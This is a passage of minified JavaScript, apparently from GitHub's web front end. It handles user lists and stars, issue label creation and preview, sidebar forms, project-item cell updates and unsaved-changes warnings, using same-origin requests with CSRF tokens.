o=`/settings/avatars/${e.currentTarget.querySelector("#avatar-crop-form").getAttribute("data-alambic-avatar-id")}?op=destroy`,r=e.currentTarget.querySelector(".js-avatar-post-csrf").getAttribute("value"),i=new Request(o,{method:"POST",headers:{"Scoped-CSRF-Token":r,"X-Requested-With":"XMLHttpRequest"}});await self.fetch(i)});function xt(){if(document.querySelector(":target"))return;const e=(0,Tn.$z)(location.hash).toLowerCase(),t=(0,Tn.Q)(document,`user-content-${e}`);t&&(0,nn.zT)(t)}s(xt,"hashchange"),window.addEventListener("hashchange",xt),document.addEventListener("pjax:success",xt),async function(){await me.x,xt()}(),(0,c.on)("click","a[href]",function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&t.href===location.href&&location.hash.length>1&&setTimeout(function(){e.defaultPrevented||xt()})});var hu=f(95128);async function yl(e){const t=e.currentTarget,{init:n}=await f.e("app_assets_modules_github_user-status-submit_ts").then(f.bind(f,35145));n(t)}s(yl,"user_status_loader_load"),(0,u.N7)(".js-user-status-container",{subscribe:e=>(0,M.RB)(e,"click",yl,{once:!0})});var Mt=f(55741);function vl(e,t){const n=e.querySelector(".js-user-list-base");n&&(n.textContent=t||n.getAttribute("data-generic-message"),n.hidden=!1)}s(vl,"setFlashError");function Dr(e,t){const o=(t||e).querySelectorAll(".js-user-list-error");for(const a of o)a.hidden=!0;const r=t?[t]:e.querySelectorAll(".errored.js-user-list-input-container");for(const a of r)a.classList.remove("errored");const i=e.querySelector(".js-user-list-base");i&&(i.hidden=!0)}s(Dr,"resetValidation"),(0,C.AC)(".js-user-list-form",async function(e,t){var n;Dr(e);const o=e.querySelector("[data-submitting-message]"),r=o==null?void 0:o.textContent;o&&(o.textContent=o.getAttribute("data-submitting-message"),o.disabled=!0);for(const i of e.querySelectorAll(".js-user-list-input"))i.disabled=!0;try{const i=await t.html();(0,c.f)(e,"user-list-form:success",i.html)}catch(i){if(((n=i.response)==null?void 0:n.status)===422)e.replaceWith(i.response.html);else{vl(e),o&&(r&&(o.textContent=r),o.disabled=!1);for(const a of e.querySelectorAll(".js-user-list-input"))a.disabled=!1}}}),(0,c.on)("user-list-form:success",".js-follow-list",e=>{const t=e.detail,n=t instanceof DocumentFragment?t.querySelector(".js-target-url"):null;(n==null?void 0:n.textContent)?location.href=n.textContent:location.reload()});function Hr(e){if(!(e.currentTarget instanceof HTMLElement))return;const t=e.currentTarget.closest(".js-user-list-form"),n=e.currentTarget.closest(".js-user-list-input-container");t&&n&&Dr(t,n)}s(Hr,"clearErrorsFromInput"),(0,j.q6)(".js-user-list-form input",Hr),(0,j.q6)(".js-user-list-form textarea",Hr),(0,c.on)("auto-check-error",".js-user-list-form input",function(e){const t=e.currentTarget.closest(".js-user-list-input-container"),n=t==null?void 0:t.querySelector(".js-user-list-error");n&&(n.hidden=!1)});function wl(e){var t;const n=new Map;for(const o of e){const r=(t=o.querySelector(".js-user-lists-create-trigger"))==null?void 0:t.getAttribute("data-repository-id");if(r){const i=n.get(r);i?i.push(o):n.set(r,[o])}}return n}s(wl,"groupRootsByRepositoryId");async function El(e,t,n){const o=new FormData;o.set("authenticity_token",t);for(const a of n)o.append("repository_ids[]",a);const r=await fetch(e,{method:"POST",body:o,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}}),i=new Map;if(r.ok){const a=await r.json();for(const l in a)i.set(l,(0,q.r)(document,a[l]))}return i}s(El,"requestMenuBatchRender");function Ll(e,t){for(const[n,o]of e.entries()){const r=t.get(n)||[];for(const i of r)i.replaceWith(r.length===1?o:o.cloneNode(!0))}}s(Ll,"replaceUserListMenuRoots");async function Or(){var e;const t=document.querySelectorAll(".js-user-list-menu-content-root");if(t.length===0)return;const n=t[0].getAttribute("data-batch-update-url");if(!n)return;const o=(e=t[0].querySelector(".js-user-list-batch-update-csrf"))==null?void 0:e.value;if(!o)return;const r=wl(t),i=r.keys(),a=await El(n,o,i);a.size>0&&Ll(a,r)}s(Or,"updateAllUserListMenus");function jl(e){const t=new Promise((n,o)=>{e.addEventListener("user-list-menu-form:success",()=>n()),e.addEventListener("user-list-menu-form:error",r=>o(r))});return(0,L.Bt)(e),t}s(jl,"requestUserListMenuFormSubmit");function Sl(e){const t=e.target;if(!(t instanceof HTMLDetailsElement)||t.hasAttribute("open"))return;const n=t.querySelector(".js-user-list-menu-form");n&&(0,Mt.T)(n)&&(0,L.Bt)(n);const o=t.querySelector(".js-user-list-create-trigger-text");o&&(o.textContent="")}s(Sl,"submitUserListFormOnToggle"),(0,c.on)("toggle",".js-user-list-menu",Sl,{capture:!0}),(0,j.q6)(".js-user-lists-menu-filter",e=>{const t=e.currentTarget,n=t.value.trim(),o=t.closest(".js-user-list-menu-content-root"),r=o==null?void 0:o.querySelector(".js-user-list-create-trigger-text");!r||(r.textContent=n?`"${n}"`:"")}),(0,C.AC)(".js-user-list-menu-form",async function(e,t){let n;try{n=await t.json()}catch(r){(0,T.v)(),(0,c.f)(e,"user-list-menu-form:error",r);return}if(n.json.didStar){const r=e.closest(".js-toggler-container");r&&r.classList.add("on");const i=n.json.starCount;if(i){const a=e.closest(".js-social-container");a&&mr(a,i)}}const o=e.closest(".js-user-list-menu-content-root[data-update-after-submit]");if(o)for(const r of e.querySelectorAll(".js-user-list-menu-item"))r.checked=r.defaultChecked;n.json.didCreate?await Or():o&&await(0,Me.x0)(o),(0,c.f)(e,"user-list-menu-form:success")}),(0,c.on)("click",".js-user-list-delete-confirmation-trigger",e=>{const{currentTarget:t}=e,n=t.getAttribute("data-template-id");if(!n)return;const o=document.getElementById(n);if(!o||!(o instanceof HTMLTemplateElement))return;const r=t.closest(".js-edit-user-list-dialog");r&&(r.open=!1);const i=o.content.cloneNode(!0),a=o.getAttribute("data-labelledby");(0,Te.W)({content:i,labelledBy:a})}),(0,c.on)("click",".js-user-lists-create-trigger",async function(e){const{currentTarget:t}=e,n=document.querySelector(".js-user-list-create-dialog-template"),o=e.currentTarget.getAttribute("data-repository-id"),r=t.closest(".js-user-list-menu-content-root"),i=r==null?void 0:r.querySelector(".js-user-lists-menu-filter"),a=i==null?void 0:i.value.trim();if(!n||!(n instanceof HTMLTemplateElement)||!o){t instanceof HTMLButtonElement&&(t.disabled=!0);return}const l=n.getAttribute("data-label");if(r&&(0,Mt.T)(r)){const S=r.querySelector(".js-user-list-menu-form");S&&await jl(S)}const y=new lt.R(n,{repositoryId:o,placeholderName:a}),w=await(0,Te.W)({content:y,label:l});w.addEventListener("user-list-form:success",async()=>{await Or();const S=w.closest("details");S&&(S.open=!1)})}),(0,u.N7)("[data-warn-unsaved-changes]",{add(e){e.addEventListener("input",qt),e.addEventListener("change",qt),e.addEventListener("submit",et);const t=e.closest("details-dialog");t&&(t.closest("details").addEventListener("toggle",Nr),t.addEventListener("details-dialog-close",Br))},remove(e){e.removeEventListener("input",qt),e.removeEventListener("change",qt),e.removeEventListener("submit",et);const t=e.closest("details-dialog");t&&(t.closest("details").removeEventListener("toggle",Nr),t.removeEventListener("details-dialog-close",Br),et())}});function qt(e){const t=e.currentTarget;(0,Mt.T)(t)?Tl(t):et()}s(qt,"prepareUnsavedChangesWarning");function Tl(e){const t=e.getAttribute("data-warn-unsaved-changes")||"Changes you made may not be saved.";window.onbeforeunload=function(n){return n.returnValue=t,t}}s(Tl,"enableSaveChangesReminder");function et(){window.onbeforeunload=null}s(et,"disableSaveChangesReminder");function Nr({currentTarget:e}){e.hasAttribute("open")||et()}s(Nr,"disableSaveChangesReminderOnClosedDialogs");function Br(e){const t=e.currentTarget;if(!t.closest("details[open]"))return;let o=!0;const r=t.querySelectorAll("form[data-warn-unsaved-changes]");for(const i of r)if((0,Mt.T)(i)){const a=i.getAttribute("data-warn-unsaved-changes");o=confirm(a);break}o||e.preventDefault()}s(Br,"promptOnDialogClosing"),(0,u.N7)(".will-transition-once",{constructor:HTMLElement,subscribe:e=>(0,M.RB)(e,"transitionend",Al)});function Al(e){e.target.classList.remove("will-transition-once")}s(Al,"onTransitionEnd");async function Cl(e){const t=e.currentTarget,n=t.getAttribute("data-url");if(!n||kl(t))return;const o=t.getAttribute("data-id")||"",r=t.textContent,i=document.querySelectorAll(`.js-issue-link[data-id='${o}']`);for(const a of i)a.removeAttribute("data-url");try{const a=`${n}/title`,l=await fetch(a,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!l.ok){const w=new Error,S=l.statusText?` ${l.statusText}`:"";throw w.message=`HTTP ${l.status}${S}`,w}const y=await l.json();$r(i,`${r}, ${y.title}`)}catch(a){const l=(a.response!=null?a.response.status:void 0)||500,y=(()=>{switch(l){case 404:return t.getAttribute("data-permission-text");default:return t.getAttribute("data-error-text")}})();$r(i,y||"")}}s(Cl,"issueLabel");function $r(e,t){for(const n of e)n instanceof HTMLElement&&(n.classList.add("tooltipped","tooltipped-ne"),n.setAttribute("aria-label",t))}s($r,"setLabel");function kl(e){switch(e.getAttribute("data-hovercard-type")){case"issue":case"pull_request":return!!e.closest("[data-issue-and-pr-hovercards-enabled]");case"discussion":return!!e.closest("[data-discussion-hovercards-enabled]");default:return!1}}s(kl,"isHovercardEnabled"),(0,u.N7)(".js-issue-link",{subscribe:e=>(0,M.RB)(e,"mouseenter",Cl)});var xl=f(12085),Ie=f.n(xl);function xn(){return[Math.floor(Math.random()*(255-0)+0),Math.floor(Math.random()*(255-0)+0),Math.floor(Math.random()*(255-0)+0)]}s(xn,"randomRGBColor");function tt(e,t){const n=Ie().rgb.hsl(t);e.style.setProperty("--label-r",t[0].toString()),e.style.setProperty("--label-g",t[1].toString()),e.style.setProperty("--label-b",t[2].toString()),e.style.setProperty("--label-h",n[0].toString()),e.style.setProperty("--label-s",n[1].toString()),e.style.setProperty("--label-l",n[2].toString())}s(tt,"setColorSwatch");function Mn(e,t){e.blur();const n=e.closest("form"),o=n.querySelector(".js-new-label-color-input");(0,L.Se)(o,`#${Ie().rgb.hex(t)}`);const r=n.querySelector(".js-new-label-color");tt(r,t)}s(Mn,"setInputColorFromButton");function Ml(e,t){e.closest(".js-label-error-container").classList.add("errored"),e.textContent=t,e.hidden=!1}s(Ml,"addErrorToField");function ql(e){e.closest(".js-label-error-container").classList.remove("errored"),e.hidden=!0}s(ql,"removeErrorFromField");function ze(e,t,n){const o=t.querySelector(e);!o||(n?Ml(o,n[0]):ql(o))}s(ze,"showOrHideLabelError");function qn(e,t){ze(".js-label-name-error",e,t.name),ze(".js-label-description-error",e,t.description),ze(".js-label-color-error",e,t.color)}s(qn,"showLabelErrors");function De(e){ze(".js-label-name-error",e,null),ze(".js-label-description-error",e,null),ze(".js-label-color-error",e,null)}s(De,"hideLabelErrors");function Rl(e,t,n,o,r){const i=new URL(`${e}${encodeURIComponent(t)}`,window.location.origin),a=new URLSearchParams(i.search.slice(1));return a.append("color",n),o&&a.append("description",o),r&&a.append("id",r),i.search=a.toString(),i.toString()}s(Rl,"labelPreviewUrl");function _l(e){let t=null;const n=e.querySelector(".js-new-label-description-input");return n instanceof HTMLInputElement&&n.value.trim().length>0&&(t=n.value.trim()),t}s(_l,"labelDescriptionFrom");function Pl(e){const t=e.querySelector(".js-new-label-color-input");return t.checkValidity()?t.value.trim().replace(/^#/,""):"ededed"}s(Pl,"labelColorFrom");function Il(e,t){let o=e.querySelector(".js-new-label-name-input").value.trim();return o.length<1&&(o=t.getAttribute("data-default-name")),o}s(Il,"labelNameFrom");async function Ke(e){const t=e.closest(".js-label-preview-container");if(!t)return;const n=e.closest(".js-label-form"),o=n.querySelector(".js-new-label-error"),r=n.getAttribute("data-label-id"),i=t.querySelector(".js-label-preview"),a=Il(n,i);if(!n.checkValidity()&&a!=="Label preview")return;const l=Pl(n),y=_l(n),w=i.getAttribute("data-url-template"),S=Rl(w,a,l,y,r);if(t.hasAttribute("data-last-preview-url")){const I=t.getAttribute("data-last-preview-url");if(S===I)return}let R;try{R=await(0,pe.a)(document,S)}catch(I){const F=await I.response.json();qn(n,F),o&&(o.textContent=F.message,o.hidden=!1);return}o&&(o.textContent="",o.hidden=!0),De(n),i.innerHTML="",i.appendChild(R),t.setAttribute("data-last-preview-url",S)}s(Ke,"updateLabelPreview");function Dl(e){Ke(e.target)}s(Dl,"onLabelFormInputChange");function Fr(e,t){e.closest(".js-details-container").classList.toggle("is-empty",t)}s(Fr,"toggleBlankSlate");function Ur(e){const t=document.querySelector(".js-labels-count"),o=Number(t.textContent)+e;t.textContent=o.toString();const r=document.querySelector(".js-labels-label");return r.textContent=r.getAttribute(o===1?"data-singular-string":"data-plural-string"),o}s(Ur,"updateCount"),(0,j.q6)(".js-label-filter-field",function(e){const t=e.target,o=t.closest("details-menu").querySelector(".js-new-label-name");if(!o)return;const r=t.value.trim();o.textContent=r}),(0,c.on)("filterable:change",".js-filterable-issue-labels",function(e){const t=e.currentTarget.closest("details-menu"),n=t.querySelector(".js-add-label-button");if(!n)return;const r=e.detail.inputField.value.trim().toLowerCase();let i=!1;for(const a of t.querySelectorAll("input[data-label-name]"))if((a.getAttribute("data-label-name")||"").toLowerCase()===r){i=!0;break}n.hidden=r.length===0||i}),(0,j.ZG)(".js-new-label-color-input",function(e){const n=e.closest("form").querySelector(".js-new-label-swatches");n.hidden=!1,e.addEventListener("blur",function(){n.hidden=!0},{once:!0})}),(0,j.q6)(".js-new-label-color-input",function(e){const t=e.target;let n=t.value.trim();if(!(n.length<1))if(n.indexOf("#")!==0&&(n=`#${n}`,t.value=n),t.checkValidity()){t.classList.remove("color-fg-danger");const r=t.closest("form").querySelector(".js-new-label-color");tt(r,Ie().hex.rgb(n))}else t.classList.add("color-fg-danger")}),(0,j.w4)("keyup",".js-new-label-color-input",function(e){const t=e.target;let n=t.value.trim();if(n.indexOf("#")!==0&&(n=`#${n}`,t.value=n),t.checkValidity()){const i=t.closest("form").querySelector(".js-new-label-color");tt(i,Ie().hex.rgb(n))}(0,c.f)(t,"change",!1);const o=t.closest("form");De(o)}),(0,j.w4)("keyup",".js-new-label-description-input",function(e){const n=e.target.form;De(n)}),(0,j.w4)("keyup",".js-new-label-color-input",function(e){const n=e.target.form;De(n)}),(0,c.on)("click",".js-new-label-color",async function(e){const t=e.currentTarget,n=xn();Mn(t,n),Ke(t)}),(0,c.on)("mousedown",".js-new-label-color-swatch",function(e){const t=e.currentTarget,n=t.getAttribute("data-color");Mn(t,Ie().hex.rgb(n)),Ke(t);const o=t.closest(".js-new-label-swatches");o.hidden=!0}),(0,c.on)("toggle",".js-new-label-modal",function(e){e.target.hasAttribute("open")&&Wr(e.target)},{capture:!0});async function Wr(e){const t=e.querySelector(".js-new-label-name-input");if(!t)return;const n=e.querySelector(".js-new-label-color-input"),o=xn(),r=`#${Ie().rgb.hex(o)}`;n.value=r;const i=e.querySelector(".js-new-label-color");tt(i,o);const l=document.querySelector(".js-new-label-name").textContent;(0,L.Se)(t,l),(0,Ht.OD)(t),Ke(i)}s(Wr,"initLabelModal"),(0,C.AC)(".js-new-label-modal-form",async function(e,t){const n=e.querySelector(".js-new-label-error");let o;try{o=await t.html()}catch(y){const w=y.response.json;n.textContent=w.message,n.hidden=!1}if(!o)return;n.hidden=!0,document.querySelector(".js-new-label-modal").removeAttribute("open");const r=document.querySelector(".js-issue-labels-menu-content"),i=r.querySelector(".js-filterable-issue-labels"),a=o.html.querySelector("input");i.prepend(o.html),a&&a.dispatchEvent(new Event("change",{bubbles:!0}));const l=r.querySelector(".js-label-filter-field");l.value=l.defaultValue,l.focus()}),(0,c.on)("click",".js-edit-label-cancel",function(e){const t=e.target.closest("form");De(t),t.reset();const n=t.querySelector(".js-new-label-color-input"),o=n.value,r=t.querySelector(".js-new-label-color");tt(r,Ie().hex.rgb(o)),(0,Ht.Qc)(t),Ke(n);const i=e.currentTarget.closest(".js-labels-list-item");if(i){i.querySelector(".js-update-label").classList.add("d-none");const l=i.querySelector(".js-label-preview");l&&(l.classList.add("d-none"),i.querySelector(".js-label-link").classList.remove("d-none"));const y=i.querySelectorAll(".js-hide-on-label-edit");for(const w of y)w.hidden=!w.hidden}}),(0,C.AC)(".js-update-label",async function(e,t){let n;try{n=await t.html()}catch(r){const i=r.response.json;qn(e,i);return}De(e),e.closest(".js-labels-list-item").replaceWith(n.html)}),(0,C.AC)(".js-create-label",async function(e,t){let n;try{n=await t.html()}catch(a){const l=a.response.json;qn(e,l);return}e.reset(),De(e),document.querySelector(".js-label-list").prepend(n.html),Ur(1),Fr(e,!1);const o=e.querySelector(".js-new-label-color"),r=xn();Mn(o,r),Ke(e.querySelector(".js-new-label-name-input")),(0,Ht.Qc)(e);const i=e.closest(".js-details-container");i instanceof HTMLElement&&(0,Vt.Qp)(i)}),(0,c.on)("click",".js-details-target-new-label",function(){document.querySelector(".js-create-label").querySelector(".js-new-label-name-input").focus()}),(0,c.on)("click",".js-edit-label",function(e){const t=e.currentTarget.closest(".js-labels-list-item"),n=t.querySelector(".js-update-label");n.classList.remove("d-none"),n.querySelector(".js-new-label-name-input").focus();const r=t.querySelector(".js-label-preview");r&&(r.classList.remove("d-none"),t.querySelector(".js-label-link").classList.add("d-none"));const i=t.querySelectorAll(".js-hide-on-label-edit");for(const a of i)a.hidden=!a.hidden}),(0,C.AC)(".js-delete-label",async function(e,t){const n=e.closest(".js-labels-list-item");n.querySelector(".js-label-delete-spinner").hidden=!1,await t.text();const o=Ur(-1);Fr(e,o===0),n.remove()});const Rt=(0,P.D)(Dl,500);(0,c.on)("suggester:complete",".js-new-label-name-input",Rt),(0,j.q6)(".js-new-label-name-input",Rt),(0,j.q6)(".js-new-label-description-input",Rt),(0,j.q6)(".js-new-label-color-input",Rt),(0,j.w4)("keypress",".js-new-label-name-input",function(e){const t=e.target,n=parseInt(t.getAttribute("data-maxlength"));(0,Ee.rq)(t.value)>=n&&e.preventDefault()}),(0,c.on)("click",".js-issues-label-select-menu-item",function(e){!e.altKey&&!e.shiftKey||(e.preventDefault(),e.stopPropagation(),e.altKey&&(window.location.href=e.currentTarget.getAttribute("data-excluded-url")),e.shiftKey&&(window.location.href=e.currentTarget.getAttribute("data-included-url")))}),(0,j.w4)("keydown",".js-issues-label-select-menu-item",function(e){if(e.key!=="Enter"||!e.altKey&&!e.shiftKey)return;const t=e.currentTarget;e.preventDefault(),e.stopPropagation(),t instanceof HTMLAnchorElement&&(e.altKey&&(window.location.href=t.getAttribute("data-excluded-url")),e.shiftKey&&(window.location.href=t.getAttribute("data-included-url")))}),(0,c.on)("click",".js-open-label-creation-modal",async function(e){e.stopImmediatePropagation();const t=await(0,Te.W)({content:document.querySelector(".js-label-creation-template").content.cloneNode(!0),detailsClass:"js-new-label-modal"});Wr(t)},{capture:!0}),(0,c.on)("change",".js-thread-notification-setting",Rn),(0,c.on)("change",".js-custom-thread-notification-option",Rn),(0,c.on)("reset",".js-custom-thread-settings-form",Rn);function Rn(){const e=document.querySelector(".js-reveal-custom-thread-settings").checked,t=!document.querySelector(".js-custom-thread-notification-option:checked"),n=document.querySelector(".js-custom-thread-settings"),o=document.querySelector("[data-custom-option-required-text]"),r=e&&t?o.getAttribute("data-custom-option-required-text"):"";o.setCustomValidity(r),n.hidden=!e}s(Rn,"toggleEventSettings");var Hl=Object.defineProperty,Ol=Object.getOwnPropertyDescriptor,zr=s((e,t,n,o)=>{for(var r=o>1?void 0:o?Ol(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&Hl(t,n,r),r},"sidebar_widget_decorateClass");let _n=s(class extends HTMLElement{get activeClass(){return this.getAttribute("active-class")||"collapsible-sidebar-widget-active"}get loadingClass(){return this.getAttribute("loading-class")||"collapsible-sidebar-widget-loading"}get url(){return this.getAttribute("url")||""}get isOpen(){return this.hasAttribute("open")}set isOpen(e){e?this.setAttribute("open",""):this.removeAttribute("open")}onKeyDown(e){if(e.code==="Enter"||e.code==="Space")return e.preventDefault(),this.load()}onMouseDown(e){return e.preventDefault(),this.load()}load(){return this.pendingRequest?this.pendingRequest.abort():this.collapsible.hasAttribute("loaded")?this.isOpen?this.setClose():this.setOpen():(this.setLoading(),this.updateCollapsible())}setLoading(){this.classList.add(this.loadingClass),this.classList.remove(this.activeClass)}setOpen(){this.classList.add(this.activeClass),this.classList.remove(this.loadingClass),this.isOpen=!0}setClose(){this.classList.remove(this.activeClass),this.classList.remove(this.loadingClass),this.isOpen=!1}handleAbort(){this.pendingRequest=null,this.setClose()}async updateCollapsible(){var e;try{this.pendingRequest=new AbortController,this.pendingRequest.signal.addEventListener("abort",()=>this.handleAbort());const t=await fetch(this.url,{signal:(e=this.pendingRequest)==null?void 0:e.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(this.pendingRequest=null,!t.ok)return this.setClose();const n=await t.text();this.collapsible.innerHTML=n,this.collapsible.setAttribute("loaded",""),this.setOpen()}catch{return this.pendingRequest=null,this.setClose()}}},"CollapsibleSidebarWidgetElement");zr([J.fA],_n.prototype,"collapsible",2),_n=zr([J.Ih],_n);var Nl=Object.defineProperty,Bl=Object.getOwnPropertyDescriptor,ve=s((e,t,n,o)=>{for(var r=o>1?void 0:o?Bl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&Nl(t,n,r),r},"sidebar_memex_input_decorateClass");let ye=s(class extends HTMLElement{constructor(){super(...arguments);this.url="",this.csrf="",this.instrument="",this.column=1}get isDisabled(){var e;return(e=this.read)==null?void 0:e.hasAttribute("disabled")}set hasErrored(e){e?this.setAttribute("errored",""):this.removeAttribute("errored")}set disabled(e){e?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get hasExpanded(){return this.read.getAttribute("aria-expanded")==="true"}connectedCallback(){var e,t;this.disabled=(t=(e=this.read)==null?void 0:e.disabled)!=null?t:!0,this.querySelector("details")!==null&&this.classList.toggle("no-pointer")}handleDetailsSelect(e){var t;const n=e,o=e.target,r=(t=n.detail)==null?void 0:t.relatedTarget,i=o.closest("details"),a=i==null?void 0:i.querySelector("[data-menu-button]");if(r.getAttribute("aria-checked")==="true"){r.setAttribute("aria-checked","false"),e.preventDefault();for(const l of this.inputs)if(r.contains(l)){this.updateCell(l.name,""),(a==null?void 0:a.innerHTML)&&(a.innerHTML=l.placeholder);break}i==null||i.removeAttribute("open")}}handleDetailsSelected(e){var t;const o=(t=e.detail)==null?void 0:t.relatedTarget;for(const r of this.inputs)if(o.contains(r)){this.updateCell(r.name,r.value);break}}mouseDownFocus(e){!this.isDisabled||this.onFocus(e)}keyDownFocus(e){(e.code==="Enter"||e.code==="Space")&&this.read!==document.activeElement&&this.onFocus(e)}onChange(e){var t,n;e.target.getAttribute("type")!=="date"&&this.updateCell((t=this.read)==null?void 0:t.name,(n=this.read)==null?void 0:n.value)}onFocus(e){e.preventDefault(),this.disabled=!1,this.read.disabled=!1,this.read.focus()}onBlur(e){var t,n;if(this.hasExpanded){e.preventDefault();return}e.target.getAttribute("type")==="date"&&this.updateCell((t=this.read)==null?void 0:t.name,(n=this.read)==null?void 0:n.value),this.read.disabled=!0,this.disabled=!0}onKeyDown(e){if(e.code==="Enter"||e.code==="Tab"){if(e.preventDefault(),e.stopPropagation(),this.hasExpanded)return;this.read.blur()}}async updateCell(e="",t=""){const n=new FormData;n.set(e,t),n.set("ui",this.instrument);for(const r of this.parameters)n.set(r.name,r.value);const o=Intl.DateTimeFormat("en-US",{month:"short",day:"numeric",year:"numeric",timeZone:"UTC"});try{if(this.write){const S=this.read.value,R=this.read.type==="date"&&S?o.format(Date.parse(S)):S;this.write.textContent=S?R:this.read.placeholder}const r=await fetch(this.url,{method:"PUT",body:n,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest","Scoped-CSRF-Token":`${this.csrf}`}});if(!r.ok)throw new Error("connection error");if(!this.write)return;const l=(await r.json()).memexProjectItem.memexProjectColumnValues.find(S=>S.memexProjectColumnId===Number(this.column)).value,y=this.read.type==="date"?Date.parse(l.value):l.html,w=this.read.type==="date"&&y?o.format(y):y;this.write.innerHTML=t?w:this.read.placeholder}catch{this.hasErrored=!0}}},"SidebarMemexInputElement");ve([J.Lj],ye.prototype,"url",2),ve([J.Lj],ye.prototype,"csrf",2),ve([J.Lj],ye.prototype,"instrument",2),ve([J.Lj],ye.prototype,"column",2),ve([J.GO],ye.prototype,"inputs",2),ve([J.fA],ye.prototype,"read",2),ve([J.fA],ye.prototype,"write",2),ve([J.GO],ye.prototype,"parameters",2),ye=ve([J.Ih],ye);function nt(e,t=!1){(t||!zl(e))&&(e instanceof HTMLFormElement?(0,L.Bt)(e):Pt(e))}s(nt,"submitForm");function Kr(e){const t=e.currentTarget,n=t.closest(".js-issue-sidebar-form")||t.querySelector(".js-issue-sidebar-form");nt(n)}s(Kr,"submitOnMenuClose"),(0,c.on)("details-menu-selected",".js-discussion-sidebar-menu",function(e){const t=e.detail.relatedTarget,n=e.currentTarget,o=t.closest(".js-issue-sidebar-form"),r=n.hasAttribute("data-multiple");if(t.hasAttribute("data-clear-assignees")){const i=n.querySelectorAll('input[name="issue[user_assignee_ids][]"]:checked');for(const a of i)a.disabled=!1,a.checked=!1;nt(o)}else r?n.closest("details").addEventListener("toggle",Kr,{once:!0}):nt(o)},{capture:!0});function $l(e,t){e.replaceWith((0,q.r)(document,t))}s($l,"updateSidebar");function Vr(e){const t=document.querySelector(`[data-menu-trigger="${e}"]`);t==null||t.focus()}s(Vr,"returnFocusToTrigger"),(0,C.AC)(".js-issue-sidebar-form",async function(e,t){var n;const o=await t.html(),r=e.closest(".js-discussion-sidebar-item"),i=(n=r==null?void 0:r.querySelector(".select-menu"))==null?void 0:n.getAttribute("id");r.replaceWith(o.html),i&&Vr(i)}),(0,c.on)("click","div.js-issue-sidebar-form .js-suggested-reviewer",function(e){const t=e.currentTarget,n=t.closest(".js-issue-sidebar-form");Pt(n,"post",{name:t.name,value:t.value}),e.preventDefault()}),(0,c.on)("click","div.js-issue-sidebar-form .js-issue-assign-self",function(e){var t;const n=e.currentTarget,o=n.closest(".js-issue-sidebar-form");Pt(o,"post",{name:n.name,value:n.value}),n.remove(),(t=document.querySelector("form#new_issue .is-submit-button-value"))==null||t.remove(),e.preventDefault()}),(0,c.on)("click",".js-issue-unassign-self",function(e){const t=e.currentTarget.closest(".js-issue-sidebar-form");Pt(t,"delete"),e.preventDefault()}),(0,C.AC)(".js-pages-preview-toggle-form",async function(e,t){const n=await t.json();e.querySelector("button.btn").textContent=n.json.new_button_value});function Fl(e,t){const n=e.getAttribute("data-cache-name");return`${t}:sidebar:${n}`}s(Fl,"getCacheKey");function Ul(e,t,n){const o=e.getAttribute("data-cache-name");if(!o)return;const r=[];for(const[a,l]of t.entries())a.indexOf(o)!==-1&&r.push([a,l]);const i=r.filter(a=>a[1]!=="");i.length>0?sessionStorage.setItem(n,JSON.stringify(i)):sessionStorage.removeItem(n)}s(Ul,"cacheValues");const _t=new Set;function Xr(){_t.clear()}s(Xr,"clearHasFired");async function Wl(e,t){const n=e.getAttribute("data-cache-name"),o=sessionStorage.getItem(t);if(!n||!o||_t.has(n))return;_t.add(n);const r=JSON.parse(o),i=[];for(const[a,l]of r){if(Object.prototype.toString.call(l)!=="[object String]")continue;const y=document.createElement("input");y.type="hidden",y.value=l,y.name=a,e.appendChild(y),i.push(y)}try{await Zr(e);for(const a of i)a.remove()}catch{_t.delete(n)}}s(Wl,"restoreCachedValues");let Gr=!1;function Pn(e,t){if(Gr)return;const n=In(e);Ul(e,n,t),Xr()}s(Pn,"cacheValuesOnHide"),(0,u.N7)("[data-cacher]",{add(e){const t=Fl(e,(0,xe.e)());Wl(e,t),window.addEventListener("pagehide",()=>Pn(e,t)),window.addEventListener("pjax:beforeReplace",()=>Pn(e,t)),window.addEventListener("turbo:before-visit",()=>Pn(e,t)),window.addEventListener("submit",n=>{n.defaultPrevented||(Gr=!0,setTimeout(()=>{for(const o of Object.keys(sessionStorage))o.indexOf(t)!==-1&&(sessionStorage.removeItem(o),Xr())},0))},{capture:!0})}});async function Pt(e,t="post",n){var o;await Zr(e,t,n);const r=e.closest(".js-discussion-sidebar-item"),i=(o=r==null?void 0:r.querySelector(".select-menu"))==null?void 0:o.getAttribute("id");i&&Vr(i)}s(Pt,"previewSubmit");async function Zr(e,t="post",n){const o=In(e);n&&o.append(n.name,n.value);const r=e.getAttribute("data-url");if(!r)return;const i=e.querySelector(".js-data-url-csrf"),a=await fetch(r,{method:t,body:t==="delete"?"":o,mode:"same-origin",headers:{"Scoped-CSRF-Token":i.value,"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;const l=await a.text();$l(e.closest(".js-discussion-sidebar-item"),l)}s(Zr,"requestPreview");function zl(e){const t=e.getAttribute("data-reviewers-team-size-check-url");if(!t)return!1;const n=[...document.querySelectorAll(".js-reviewer-team")].map(l=>l.getAttribute("data-id")),o=e instanceof HTMLFormElement?new FormData(e):In(e),i=new URLSearchParams(o).getAll("reviewer_team_ids[]").filter(l=>!n.includes(l));if(i.length===0)return!1;const a=new URLSearchParams(i.map(l=>["reviewer_team_ids[]",l]));return Kl(e,`${t}?${a}`),!0}s(zl,"reviewerTeamsCheckRequired");async function Kl(e,t){const n=await fetch(t);if(!n.ok)return;const o=await n.text();if(o.match(/[^\w-]js-large-team[^\w-]/))Vl(e,o);else{nt(e,!0);return}}s(Kl,"triggerTeamReviewerCheck");function Vl(e,t){const n=e.querySelector(".js-large-teams-check-warning-container");for(;n.firstChild;)n.removeChild(n.firstChild);n.appendChild((0,q.r)(document,t));const o=n.querySelector("details");function r(i){if(i.target instanceof Element){if(o.open=!1,!i.target.classList.contains("js-large-teams-confirm-button")){const a=e.querySelectorAll("input[name='reviewer_team_ids[]']");for(const l of 